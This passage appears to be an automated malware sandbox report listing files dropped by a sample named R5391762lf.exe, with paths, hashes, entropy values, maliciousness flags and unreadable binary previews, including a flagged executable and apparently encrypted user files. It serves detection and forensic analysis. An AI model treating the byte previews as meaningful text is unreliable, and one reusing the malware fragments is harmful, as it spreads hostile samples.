Preview:	/!. ..S.LjrY7...y...'.,N.i.f....".....%s.q......Y.>P...yGM#.6Q.u..1gt..`.1.:..X.[..I...F-...T ..]<.7.W+..........G../...br3.s ......O(....2.p.......d..U_.].R...U..0..qJ.`..U...>2O~.u.:?.z.#+v.<..W.@...RkE....@.c.F..G.L....$k2....M.e.....V,..3.v.....?..W9.......s..E.R.......Se...4.-.x.M..jQ.Uf..8..e#........\|..".E &.M..a....C..Gc.m...S...iT1>,....?.~.f..Q3.Y})L...0......{?t5....@RW.U\....#.,HIC.d.Y5MQ..w..l.S..w...Y.c ..I..J.C...B46..`-...$e...(...>m4..>..p.....3C.........Q..hsGF.F.......+...axE..DB....P.t<.....~.R.....>wo.i.^....T.Sk.e.1.d..a.g..7Q.c.M./..L..J'....,.^.n.....Qm..K.Yf..1..CO.S.!RV..&.....=l..M.G...!...R.\D....Z..ZX.;afh..t9.%..(E%..{.].......'S.../.E...y.~.zKp..#.v.}..' 7. 3...v.a.d.MA..o..1...\0y+......m.........=.B...dR.b...]f...jG.[.9.._......[.._b`...n...t....0..Ei.......vc...B.4..p......../{C8..o..).wZ.Y.....ZL.\|&..'.#..m&5..@}.~.5.D@%:..r......\.r._.Q.$.....Ku)...K.a..V.0.L%E\|\7..=...D....9....._..

C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AC\INetCache\I8BK050T\lwsignuphoststringscountrybirthdate_en-gb_tXeUWmrL4gUQDx-AaHVz2g2[1].js

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	29383
Entropy (8bit):	7.9946594357690755
Encrypted:	true
SSDEEP:	768:KNxw5pkz4YbLG10cEawmGVMRtHRTaTtW9+FT:pjYEgagV6R+TAQFT
MD5:	EFE4D5A35B995D0FBBBAAF2F0ADA216B
SHA1:	922396624E690522F668FFD6129579825A5ECF70
SHA-256:	A442F74D4C98BC56410FF42185F6203AA710842A7566DC3532AF4FECBA4AD6E2
SHA-512:	18930773F33554AFEE646DE9DF46A9547CB1955CAA79307D9C764B57BB908CE7460E350C09C57D56FDCC80EFCC94D55FCA57D7623F9B2C2C7D470358022A440D
Malicious:	true
Preview:	!funck'_k6.........8.T....P..I...)....0.X.Y].[.L?Q..Sx..IvDBP......Sa....<...c..50...m....`..E..L..+@....:>...V..7.v.o......Ke.9d...#.q.>.k..X..g.N....C^....q..a.9./&ct$.L.H.Hh&+/9-.+....6@...+p.Y..-E.P@.~..l......E......dd".._.}+.p..w....3#.q...."..a........}.....w...O0.:-..H.c/.....E.[.`?..F.t..9.)7..G-.J......O<\....+D.p..~.+..y...$Vr..Y....0...D.&+...S1-.Q..../...a.?....h2<.x....^P.z.. .G....~D..u.8\|...\|..!O..g...../.!.0+K.......;..p...........oMs..T).u&..f.Q..~f+.f..SYgvV[...%.....{.hr.u...5k..Y..d.:6.OKX...&hE.jX........=k.$ ..K^..+1..`..'4b}j......eP.QJ...;h...2.<.,%.I.r..<_.p._z.pA"....k..)e/..{.g...E_..`/_UJ..i....._... . ..n..~.?..\....a..B@.b.#E..;../'.!..!.+..2h.v.5.1.]....i...pQ.....yr.~.%..G..]..}ON....}../.kQg...9..4@6.1..0'.Dq.T.n.[r........9.H`2G.%.u]..w.....r.~.I7K...3!....E.......?...w&.Fy..r..z.f....+.=...t.......e.....b. ^...\|..;W.k.f...uT....4...jR...N..b...[....c..) ~at._'._.gsg........x./...Y.-V@.E9...}.6n.I.eO7

C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AC\INetCache\I8BK050T\win10hostsignuppackage_bs97NnbLBHPHnaN0wGg43g2[1].js

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	406099
Entropy (8bit):	6.94303041135126
Encrypted:	false
SSDEEP:	3072:JI0HPPArlB7/9oiQPRoe0kLyKxYXXC6rys7JR43/w/vUcqJMViLQ1s5r5MSIhX/Z:dHgrlF1CRoezVHs7nYqJosXoTErcfI
MD5:	5835583D5C507685335A96280D64ED53
SHA1:	6E79B288F2CC2BE5E2A55B6EC2343247D9DA9647
SHA-256:	A813111F274899451FEE80BA0D7DE4FCE1533183FFE76667018C31B18B4E904A
SHA-512:	FD3876A623FBA09A6081C4852C50B59BFB26382E5255A464F14B6B8908AAC1EB0B8BBC2C174361907C7CC23E0ABC9EADDE0442B925299E37A344DED52BAB5AAC
Malicious:	false
Preview:	funct. %3.[.jr....f...0..._$]......rz....ZC...p..(...n...Z%.is.....VU.C..4 Q.._d...]."......J6.'y./H..o.;i-R..Ux.+..1r......O4...+...~..x.&_....g..1.UIG2o..N@....z..a......:.(y....5..@..w. 1.}....o..DA..."..d.1l.z.-..15.m.<.}.<.7..b.b....IO...m........4.Z'Np.5.L...v.o... ..=.....(.....=....5.~}4.=n[.k.A5.o..L$V.%......4..0(.r.qi..A.......1..../k..G...1$....X=.i'.?...1...C...O...F......7.c.s.H.Yd....~"/.C.........9eh............Sck.//...=.<...E8.o.`.Z6.%.....iX.~:0.P'.+u.P..u^....A..#.6....#.E...7g.i.Q..K!.-EL..]..T....C..S-..s.r..."...LR.....=..^....(...t....nj^.rl.5.\|....uL..C.r.1#3Q.feI.".v....&.~L..k/...t..m..#=..S.D9..x......`..7Q..m#.:...K..3K.."..&.!...i9..u..k.A......../...@.].....d.U.^!.M3.i....-..^o.P.......W.u...\|09.r5"..>&.{[hm.....{V..v..lK..p.4.[..,b^...y.%..cM3"..w......w.l..i....2.`.6..X.5..G...nf{~...k.53.0d.G...*......'L.0.b.@.:o..\|V......-Q..oC...L......6....K.P.s.fY....YY}..._......Uu.}M=.R..F..;......IczXA>R0MU.2.w.

C:\Users\jones\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	12272
Entropy (8bit):	7.985667094543266
Encrypted:	false
SSDEEP:	192:ygJDxdBkTcH52G6auXHNN4kEosdgePuYBX51zrnWO4/32XVzhrWtdbLQ:fxdkco284kEbgetBJ1ncf2XLWtdbLQ
MD5:	EC9C79B5073D4FE97E29B687B88A4858
SHA1:	1E208BA9EE0C2B82208296F8D8794297826FDEA2
SHA-256:	3DE9731C7CDFF467AE654A020597C9AEA98ED4549D8BE05D422DBC73F91EA41F
SHA-512:	F6BAD662C24E93B772AAFBDFFD8CE6ACC6EA2C59CFD00BD3F6E86E1C60713001ECD60E64EA669EB42FAB59ACEF0A4B7AABFA212BD39458B003CE1ECF59709236
Malicious:	false
Preview:	03-10....L..1r.....X....8......P..6.E.Fw...O... .......O..(.YP."..n..o......]f.3.\O..}.x.hA._m....TS.'..CU8+..v].~Q..j..xu....h...........0.V.q..fS..,".......#.2dv..o"....V.. ..2Y.....Q.+T..5. J..".K....u.v..0x... ..._..........26=.l4....n.^.............i...5.y.g...1.....Au...q..O?T.O._..[9..>..F)...\..5Pp..4"h....]?..N..\|..J.J.y..O.LW..h\|z....RP....{..uKW`..{.....g...&Q.u.#....^g{...f......=.S.co h.:E.....887...R_.y.T.Y{.f... '.9....Jt..}..B...8.}...\|.u.........6.\...@..+.-..+..=..p.....Z!.T^}.\.a.4zKMAz.;...,>wTlK._Ky.....#.g...8Y...9M%...........,..n..c..U.v..\|.vt^.....o..d .9 ..V.C8.`.Xv...>.....<,...%.R[..v9.A.m.p.j..\..U.....@..Hy....k..>X..sf!.o...g...d....{.....q._...u..a.A..../.gH.+.7~..a.K.V.;.cw..RC!.?...._..>V....\..l.~R..6..jU-w..f....o.5~......Q0K.c_Nb...p..[....ZB.f....Y...{.....ip....P...eio.).j?...1.V.m....D.l.7.u..Q...[-... .{ns.=..`.M.n..<.{!.....O..=.#...1.29h..1g.'\E.g=..0.<Z...{G......+..7\|......d].....d.+

C:\Users\jones\AppData\Local\Temp\wctEA40.tmp

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	74540
Entropy (8bit):	7.997626790003259
Encrypted:	true
SSDEEP:	1536:RmKsbS+/N0OcTvUpp8D/fXIV3kpSvoNxDxOgFKliJV0F1sMw+rcRQ:cKK/PurzvEUIAPDbcw3X28Q
MD5:	B3D7C5B89739444294820F6857D2844B
SHA1:	F6DC61B365F8541E5B69CEB09C28BD9D7FCB6BF7
SHA-256:	24CE00F7940865014141239AFA486904B293C8196F343B8423343D88AD31AF27
SHA-512:	440DAD43987BCE1848815C182D13C1C33D3BD8D955E04CC2DC47D5152F6E9B36BFAB44D4935047C9D0099CB197595A1FBD6ACCB32BC061063BA6139E79F45176
Malicious:	false
Preview:	{"ramm.v.w.Yf"...~.66..%....r'..B.,H.N.TH..T.f._9#....Iu.C[S[[.a`.e2...?".t....n....(..O.(. ..Tg..<.K@..V...........C~..Oj.\..rL.B._.N,..@.* .Q3+J......f.".j.I.-.l..6...+.^w.Q...S...M0.A.M9.:p.^9.........d...`..<,.l..).9!.......5.l....b.Xf.................!._&.0..H.6..@.n.8..Q....'..z.I..{......E...>.~.7........4.Y.6..4.I...O.\+.....eF.;Vg...k.JN.E]Vh.N..C=.b...y)...m.m...~...PZ...w.."..7.......m.Yt......\.I..... ..Yf. 4.t.KzI.#0.`.}....#.=.;C-.A`..43W..y./?,:.H..`.R....+h....\E.L..............+.ER.^...z......2]$$\....K.e,.+....9..&0.7K..........+..Ga..gw..V.....>.....b.e...t\|.....l....c....:7m..{ZC..,[\|...q..o..H.c[@.V..(.G...!C........C....VGS._.0..o.m .bY..f;9W.o.......<)...X.[...&.....)]..(..".[.l.Z+..RH5.B;%:..\|.Jy.._....s...t.......Y]..3..\|...;.J~.._\......`.O......c%.*v\|...B...%,+...i>].?e.?...9d...`.YuQ.[.K....N.Zq.................$.../=.5..=:"_K..y..YH3..E.w..7Bs>..=f.b7.z...Z..F....a...&3...._6;M.].6.-.&"B.)&:0...GK....o..v.....

C:\Users\jones\AppData\Local\Temp\wctF86A.tmp

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	42164934
Entropy (8bit):	7.947664301220234
Encrypted:	false
SSDEEP:	786432:vS7wQNeYDxVRrMPJy7LVV4NDDmdrZy9wOtg5gGOdjtjSNu4GIluUNj56I59SV:hQcWxDMPnN+dk65gGUjku4vNjLjSV
MD5:	5AE7E6BB2586E4F483CE3FFB15BF68F1
SHA1:	5AC2BD3436F87C0C7FB37388F966071992FCFDE3
SHA-256:	29ECA7FCFB33D6D0F9EF61A3116A9646940C549423419730DCFE81048F1C69AA
SHA-512:	CA86E53F0A742E5E86B0CC44D1C0FBF7C93461CF48D151780E2F9D8191578EE49D0DB09BC9D6094BD4D50C4936DF561FB8724C3C4CF155A2F62A4A31CA86E9D7
Malicious:	true
Preview:	MZ...-.\.pGbk....=....../(.u.[..AF.t..Q..........LV.N..q".[....7..).S~....^u.g.~'.N..Sa........#~.\.\|....a.0.R.> ..lnS....&....]...k..M-(k...~~....9....>.9..L..](.R.}.....s$..w...+.Q?<.....%J......C...f3w..aG...N3....P....T.&7.....=5..l..y@...U.W.f.R.2'...^f...8Z....y.z.....P..34.(...x.....^.Fy..5..>~.... ....B..y&.N.......S...bY.h..O..4..nu...K...x......q..J.....i.,.8...&....6...DN~.j...)...f.H.3....0W.6..[j..'Oh.9DfM..M.vYr...."yQ[W .!.O.I.[..8...&.....hV.>...<".f...;b.k*...#..1.#.....0N.3?C..lsq.^`$wI\|.......Z+U..}9k./fO.I....Be..KS..s.&.+.`.si....C.T....a.n...~mm..._d.~&...,..X..hmV"...x..h.d.icC..~~?..]b.(..edueN.\|.....-.v]..Q....c....bQe..4..2,H.'x'.c.o..E'.....uz..TM..j58.n..-lpj.%...4.....n.....z;...9.K;.YW..y....p'd.t...1...z.8....X(.uJmx...#..)..VCp.j{8..a0.g..O^.......K...>....,.........\\|...T.K..O....F....[l.@...;.o..r-.YH...{{.U_tu.4.f....s0+....0K.X...2Wp .....4D&..N.k}.<?I.J..q'..... ..'.._..D..u...V..S...p....R...+..:Vz.$

C:\Users\jones\AppData\Local\Temp\wmsetup.log

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.784084266586262
Encrypted:	false
SSDEEP:	24:tV+B4nFyN4E8jI3qQUKwaabcZLWpqA0eVCKprkchPzC4Xq8uWbD:n+SFhDI3mcZLQ/Jpro4XFuED
MD5:	34F3B3E8C16D03200D898A87E56BAD79
SHA1:	7EEEA596387DA8D9BC05196E01A34570FB407505
SHA-256:	D1467344A3B6E58030FED59793DFD0C082F916C5E0FABE1BBF5A01682EBC6C0B
SHA-512:	55AA0EAC8AB20DFB7292A99F1F5F1591C8FFB032C9E3D8486D9C8148632E765BCEF768926069A0A4FDF1083AFDD6CBEC89D7F080C6AED5D3C494B3D0C555A1F9
Malicious:	false
Preview:	..[W.K..b..%..if......J...=-......Hl..w"y6........."d.w.?..Qu.V...h....C;-sA}lM..w...sb.$.cg.-......8..LYT.:.... ]h..X.X%`.....o.AE..vL`.SZo.Eg...e...:....v.....2,.K.....(.......G...5Y...6{W9..?........3.......(.%wi.csT.Y[..26.{..../..... ........'>n.=..P..44.5.y.$.+.73$...V@E..+?......`..UC..9....~.A....(.4Y...\|..f.+..p.n..R.6=../1...\|.d..?. M....aU..f..4..T...\..r....Q7.e.u69...-2..~...`qY...hE..lD.T....V.L.q.g.>..=-S-pFiL...~{'.N.......6....3..2...8.......M]....'..v-....(.... ..(1..,..V...p...o.........-...VR.......u..I.O.(..]i..y..=.)lz.\..8...X...]....G.`..=+....I.............ul.0..{......]..^.....B...Q.u^.)z.D.c&..<.V.I..D.q....}...v...o.-....e...@.U..6.....3..$..I...`:^..0@ 3A.8......t.pQk..T.M..4.9........{.v.k..%[..x.c$Mi.iRXK.........q_....Z\D..~.S.1..........p.9{.3...?...jk..55..[.. .c..'s..X.0.t..s..Gx..,.5...XO.y.@.........@.....I,T.:z....1..&w...K.DD$..B+....t.=U...R!..^?hV.&;..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698

C:\Users\jones\AppData\Local\Temp\{5871238D-BEB9-464A-931F-701C8F0FFB10}.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.968004347615181
Encrypted:	false
SSDEEP:	96:cBQdXLxDt9sBVttPWEN7YIy4frUFkn86YmPVz5FfJll3FrRupfY9K87gEuX9BFuQ:CsXmV+4muUFk86YmPjvvRRsw9j7gEuN7
MD5:	3A2D18AED250DB9D763216F182F029E0
SHA1:	4C8D5BB6E8033FBB69CB3A9F54325AE1E184324B
SHA-256:	7A9D6ADCEE1A6E43DCB0A5499DB16DEE0CF516EAFC66F484618F5B0CE75351F9
SHA-512:	BF11F33783261EB362D94A7EA850C00B48731027C4FBB879EEDFFEEFE0F7E637E6BEC7908F5B5E75A5291A42AF77E5CB04A4A1B3AA1D36CABF7338925337C2BB
Malicious:	false
Preview:	.PNG......R....S.o.S8:.....&..m.....5..z......UK.g..-o8...T}.".b..C2...........h....n...Uu.s.C.......Q.$O...._.._a....m.8.Ve..;..a.}yW-..9.%..o....D4M..$.])....&1............ti"....../.......#.B@..l(P.../...!~........N=...?...I....%.W.TZ.D.....b.y<3..&h.eQ.........Y.U.BIh....J.....o>..-6.:Zq.[.f......([(...Q.A.. ...1.&_.V.'.. .YST7;....fY.Z......W)..YUkM.PX7.Lx...5.\|..L.......3.s`.&...b...}NJ[......BZ.0.ts:-.......].0CX....t\|.=jB.PA..Qw......!.-I....-#}%>._M..o.7......e..^..P..l.....6o....rFK.%..X.......;".Y"...m7.....5....@B.6....%.c......p+...c-K.>0 ..6.......Y. b..k'(5...O.u..[.P..LR.Ez>5.q....e......7......c..m3.t..k.....6.v...kA......s....4...jkb}.Wk..WOb..8.>...B.....d.-...m...<...0..`..]....<......Uc..Fo.".52(M./4z.....:..!.s.lts...p.lg........u`';z..8..;...........S..[...)*...,%.V..%..6..".....`.I.....L.'.N...w.{.B:\|.....t...@...}.........n.6.ps\...,b....G..U...}......@....2.J....?kn.........G'..4...l..->..a...\(P..

C:\Users\jones\AppData\Local\Temp\{5F969F84-5F34-4AF8-8D36-D6D6A1668750}.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.971333727198546
Encrypted:	false
SSDEEP:	96:NzBHauS7b4kMwZ8gpjCfkAD4ROb0RjoyEa4ASvkpzIJxs/moLt9Mm+Iqlk3FuQ:Nl6v7DK2jCcADvyEWFIJGmoLz3OPQ
MD5:	B47E5F2ED307DFB44CA7CCD19E6A47EF
SHA1:	8473788318E8C10ECE35DD24573A91C00325BCD6
SHA-256:	8F514E0A691E3F64D861A4642812D8D8D6B6D45559AE782C916920F767F56007
SHA-512:	665A85DE2F492081CFEEC976EBE19D8FE6A9850B962C94EDEC6659A03CEDCF03C720123EF9D548BA4C2A902CB5B5BCE6107E803540692DF865FD7592F8613F22
Malicious:	false
Preview:	.PNG.....0.....{.......q\|y..X.lq...4....vXQ.!x'.{.O....b.p:....\|.'..b.?.z0S".1..&.a..3.n9.YS ....n...u-.q.-..dg.....0...:"vx.&.Y.g.....}<.g..-..M.... ...6......9...u..k"w.s.B.......q....g..F..b...^.iz.. .O...%e.cpf_Os..0.f..+.hC.a...2V.....6.. `.....&..c..#..+...9D.Q.....)..m}...N...?.].TF.....[vO.1....w....p[....vjS......k9...f3[.XT.fe1w..m......&3.].R.:.!...F71.....u...?4...U+.$.a..........N...2.c..iD.cm.s.".@.W...+.I'............@...,.T..zdL:u.j.....p.].d.P(.aO@..V>r.:..2-..c.>.. .%.,....V..(...!.D..u;...)..U..uB....-.................j.}`.4..(TR...}..K.sq517....9a.P.n.i...9..-y..9. ...\|..&.I0a..E.o.._.#7y.......9.._[......KZ.Q..Dy....i/..3..."..]$..SLj....mo ...0...=.Cd.-7.\....}Vr.ML....,....E...~-.....7.#x.px..clj.X.8..e...Q..T..p...4...h]`...Gm..KL....'... ....xM..h@.......K..e.*. @..`..J..,.r...._..G..1.{...G.e.f..s..5.....c..:....SP....z].7.8....w.A..{....J....V.C....-..........D..S1d.)..]......G$.tJ.2...&NAu...[..y

C:\Users\jones\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\162797d679096999.automaticDestinations-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.932210847992547
Encrypted:	false
SSDEEP:	48:IKJYol8nnDG1Wr+XxkEtdwwJ5kAroqbpcKJtP2ttBtfmnFjWIPzpthQrMvY/9qUv:IKSk8nDG17BJtdwG6ANiY+5kFjWIPzp+
MD5:	901131D5ACB4D75E4A82AC34FF49B94A
SHA1:	77C019731692A6042E3F33BE44B1F3F7B07AF3EE
SHA-256:	CA5EF2A7C33A1004F324543B43562208C55587E99123AE52CE4ED1644BA81CF4
SHA-512:	B41389018456540680CE5CB9EBD9C861B19133E79F49A09DC7775386AF312BA6F480E883FAC0A61D569AC032D122B03B0595D90B2001D717EA18DB4934979D66
Malicious:	false
Preview:	....ThHqT.Z\...q..7....R.}..U>...P@..:.S[}._.C.j...?...B...f.....3H..m*...}.l......v.W....@z[/..G.`.....QFj.P+.7cQ....f.....`.....H.%:.%..S.."...F6/.I......3.Wt....Q..x-3a..M...E........>N.b.I[W......y.u......\q...O}.\|...U....\|..!.\|Q,..s. .....N...}...3..C.....%@..Ox.q-[Rr.....gl.A.z..RC.R.....w.....r}...H............8..z...J.K#.z[..#~.....&.-....E.Z....._Qb....G(.._.TM...n[pu.s...^mf...66.l.Y.^a...k...v1^h.}..v......y.gn..........W.z...Q.....5`.....\...J..r..=i..8S..J......HC.N.P\..GuW~\|O..,...\."..B.8.Xsvmm]N....W.9.U...\|O....... .I.[D...'c..I#..DR..<..U.u....4...d.....G...</.'..J..fq..U.@X..y7.g..w.%..L..~..N..................%.........X[$.!.p\..#^x"..G..D..CP............q.#..$....(...X..._bS8...I..u.k..77...r..X.5.........KglS...J..P<.u7.)Da?..z;,6..7Z73..@ ..hp..I>.N.\0.t...7.;....0.........g-..(.........yEF.A.+....?....vn....^.@......{I....z..Y. ..0Z.=V...q..9O....y..."..4.q3....... .Y,.s.....%..4N1$.0........?.$!0...

C:\Users\jones\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\1b4dd67f29cb1962.automaticDestinations-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4430
Entropy (8bit):	7.957150516410007
Encrypted:	false
SSDEEP:	96:C1mWg71FTXwTYtJF0Ariki8Ks3aX3Xj7sxy/HHj8MFuQ:nD71FDwTYtMaGWKXjwyvD83Q
MD5:	699B5FAEC3A7504E87A7F52FA2DDDF2B
SHA1:	D8D77FC0164577341CC47D4E3ACBBBB0B2CC0B7A
SHA-256:	4BA7698E056AA275679A7D09D2A34BB402AB67A86E3E2FE4A5635D670C957437
SHA-512:	9FA48D8B93E1EA635C9EA3161D6C29B2BFF63D408A33B10671A14E47250D6FE261D074DAA24B5DC96C52C1543C952AABDE39F8C740DB754DAA06928F18210323
Malicious:	false
Preview:	....@]-l...$3.Q.6.o.........Uy ............fJ.9.ah5.F...x..;Kz...G.GM..@...lF@........q.?..&....EK.!.V..w..`L#......].0a.....xj..s4..\.F..j.\....Z.O...6.]@%.......f.^..:.w[.}.0L.\|...bU}...(..=\.RV.,R.J;. .-..y.....`.l..Jw.G.H.'.>..#r7..5..x)k7.M..I.+-.(...........~.<.....%...`.3V.Mp.p...?..?N.}..)`e.=Qn^..L\.....Q......hX.g.3..L..}q......8.aR.]rh..."Hw9:&...WD. ._].......Rq........-(..i.#.......Z.{X"}}... .zU...+.m.EH...RP...........V.6K........]D...B..KU.CJ..^.>..j.........9.>...[.9.e..8.s..F.#..[.EA.....d.........\|...k.V..sm.}.0......3...,%..I..g.k!9................d..8ES..~c..rc..r....TY.R.eJ..01..A9:..:..I\|~.A....[w.L.P.".(..4+!O......bj.E..$..{._Y....1.....DlA...A.~TX.K..4A......_.J...g..h....t.`>66.\|M...n.yi......=!...A@.{ ..x.:.........W...........&...>..T...P..~}...k;....ah.A.So...AoG...4...g....tN#.)0J....YX.<'.5...Dn..........(.^.>W.(3..<....,/..=..Fr7;..+.t..u........*.... N.......zM.w:...,..+_....7.../.y.@.....R1&8).%.

C:\Users\jones\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\1b6ebacd7cd2f25a.automaticDestinations-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.944250257977435
Encrypted:	false
SSDEEP:	48:isigXlnuz5lUyUgimcy1PCWKyOPydmFyAGFjU340ocWGVDRsPwJOzDEx8wXFuED:g5lUzgpFBKXPydmFzGFHcLRR5aDNGFuQ
MD5:	10757663E7FD5B25E87C7A0E0969CAFA
SHA1:	2FBDB9FA4B17AB6DA83B038FABC77178D967ED85
SHA-256:	945C0A2492D13B1497A19ADBCBFD5C3A784CB79D7CE14B5C7BD131FB5455250B
SHA-512:	18DAFA3F5D4C2766AC8E31E9245F10030D1AF2B0C7B69C17D60667E3EDB011F686920C4BA4D94E8B33D5866CB5F33A50A3782DF35ADD9DD4AE3E972660C03A50
Malicious:	false
Preview:	......o..Jm...V.L...z.VV..n=.....g.P..C./...............J3.z.ZU.ec...`{$. rH..b.....g..V......@Oh..?G.Uby.ciyC....Gn.E..@.<...&I%...[B+.EyB.j...w..[n(MH./.i..g )....l..0.D.H....X%.eP..\|...P..9....=4.".....{.X..W....{Fm.%."zt....2./m."%XY=......j.(.,EY..s.H..+.?,...G....k..1.,.I........,.......Z.},y.o.....0.4..?...7.......L_%........5.........h.).>..DSQ.b.Zk..>....O.j1..b6..mo.......M..b.~...M...-..v....<..(..``.7...{....{..!.i..{}t.....gY.56....h~ES.70.8#Q8..CrT.w..Sb...Eu..Z`..f..X...a.E.-sP..........f[4.:..3.)Q.>..v.,.C.4...7..!...]./.F.P..g.........d+mT+.<g.?Wm.RO.Q.N=A\..e.l.4....3A..&.);..]...&....\.(.eH.JTt.nzL...S..b..%p.6s".6!l.~i..t@hd?.x.T.9i..C;.\..=m.NIk.......\.aol.-...6..i.y#....C.o.r".....p.........c.W ..;Z=.....O.t....A+..RRE..O...rW.Q..BX......e.4....)...3=.....<..S@.$.l#a.a.........Z..w..V4....K)...8v\|..I.*..mE7.Aq..Q.N..'. ...`...f..^.xq....I..V.l.L......G.`I.%:. .}..e.....RM...q...FWFw.bc..n9...d.....&..aO....

C:\Users\jones\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\1bc9bbbe61f14501.automaticDestinations-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.9424666636448595
Encrypted:	false
SSDEEP:	48:a0nKT/eoIUw2VceKnlYieOphBvl199EAzlnU8/UJYvDuSHxhUVZ0XFuED:1KTIF2V5oaibf99dZU8/AoDuSRuKFuQ
MD5:	9A5E3FBE74D434DF6F49C6531BE8F326
SHA1:	2D3063C3726AA05186A772226433DF7DCA35D72C
SHA-256:	BBFFB446927D9FFC95EA68AC26B7184EE599F323A7A02806E66C58B8FA352095
SHA-512:	4100BA7DA87F9C81F74E5AF65831DE6C75D1C588BF72A35D8AAB0BC05AF523937D7DD611F87CEA980DC099629ABCEA7DDEED3F4521331BC44F3F820DD97A2C5E
Malicious:	false
Preview:	.....!z..\|=....l+..b.....eZ."J......(rN. .c'.^.Rn.l....3.H.C..._...e..=V. .......a.A..Gb......p>fG.Lc.0..?....!.%;2.B....];.....+......#..1...aM...=.Ktv-c.6.0.S.`2...WU.n/.x.j.....Z..$..-.1.[...<.H.....Q...+........w:...c..jS..w./...>...J...d+...i.W.y.e...}.[...m.V...t.G...-zC_.W...@.`#....G...@\|.4..5s@....].........&.K.Z.k..n.....\|.;...ba.....'y............=l..:0......!2.:......6...N....u\|....7......~....j.K.zl..@Pm..V.......4...5...._.:Xcv...cDk2P..G?}.....^......n...!../'$dULq.mX..f.E..Sz...!!.J/l..*.L.>...].>R{18).:...O.sf....[X...T...".h.G........hkZ.k..($....7..N.a h.E.IF..1..^.)@...&3Z..24.>6.@G.ZC.h.o.~............Swv.oas.\|.......d.}.."..w,B..f.0y/..../....t..\|...9r.......y%.....V.}..O.A.8......9c..~.t..q.'....h....d?,.L8..XjH:.dC..~0C/.b...w.\.......T.X._].4%A.....Jf:.2C:...U.S...4.W....Er..~. ....u.f%...p.7.Z.@2.t!.e.........O..]........1mM.r.S.uL.Z'..s..wo.2.N...zh}...+.IP..j..%.+2S1....c~.>.u..D!...A...9....&c..=fS.E

C:\Users\jones\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\319f01bf9fe00f2d.automaticDestinations-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.927520974744098
Encrypted:	false
SSDEEP:	48:m0Im2d0WxD+9q1YLD2HECAGsohWgpXKSREDurEYqfDODlRj2TnquXFuED:rItFxD+9qYLuEdGtASRcugU3jcqMFuQ
MD5:	E57F31F590D91BAE6268E18E362F2827
SHA1:	66047A2D5E89F57AF55F7288C3E1CA0AFE23D9E9
SHA-256:	80302AB18B2E047D868AB814A1E3C4B01E28E379C2FD32AA238F92B54FC65AC2
SHA-512:	B3665B251FE94E01B7C9510FDF3CFC3D81D377E5BB8022E9252728E9ED614B03277FB47E3A380BB27409FF90216F0AC6096484D599E06521A7A1D14E047F356A
Malicious:	false
Preview:	........H..}QM"jk..W`..0.!...FC.Gu.^...h.V..K.d..\|6.}....Bu...s..T.....L..d.G.. ..x.....g..n4...?..9.i..?...$_.u..1n,.T.x..p"{..M&Q..go...(...................Gr...l....C....r..f6n..4..Y..,\$.".hx(A.....07.$..)H.!./.S....<..:U...G.p.O..........qK.....{&..4..G\O....X{...R...?.j.."..1k...0Dg.mD....:......D...R.... Bfu<.5Q.........(..Lx..}.\........;... .^...R...3...IL...o@.x'..Zc.......@#.o..a._..P}...b.KZIF...#(.g..^.^.[..X....b..n.....l.).....L..`..U.Q.]..v..8.a..BE.._.8R/:.......:C. :%....L9...$..[.O.:4Wc.._..yL.`....F..5.9.......G.PQ7}.H.y/.b..r...O).3..}S{c.g.l.>......,..p[..Y..@V#`8.H.d.O.'_"...kWoo.O...w&.$.hs.q~.E..).8.lxa....t.s....1..n..B[.m...e..;..^.....=KuH.Z>..K.n>..`TX[..+...E..7u.....`i.....p.B.!B.^6.z....t(.r...B...h...)X-E...=.n.....>.W.}U....6...O...SM...W@U !.<..HB.E..P.....n..8P...Qv.*.g..>.6..H...$eE+x..<.Hi.5y.I.....o8.Z.Wsw./.&+c..C.O..R.[..\|.\|.....F$..G....:...{^...I.......Q...[.}.%)..=9\|..f.D.D.F1...},,.o[a

C:\Users\jones\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\5175b273ceba776b.automaticDestinations-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.929343893450601
Encrypted:	false
SSDEEP:	48:qaE94mMABHlVmFUozdqk1SxFyRJiAk05q7bCYt4Hc2yfbAAyz/G7Re9i8XFuED:wlTVMck1wCH50O8n5R4FuQ
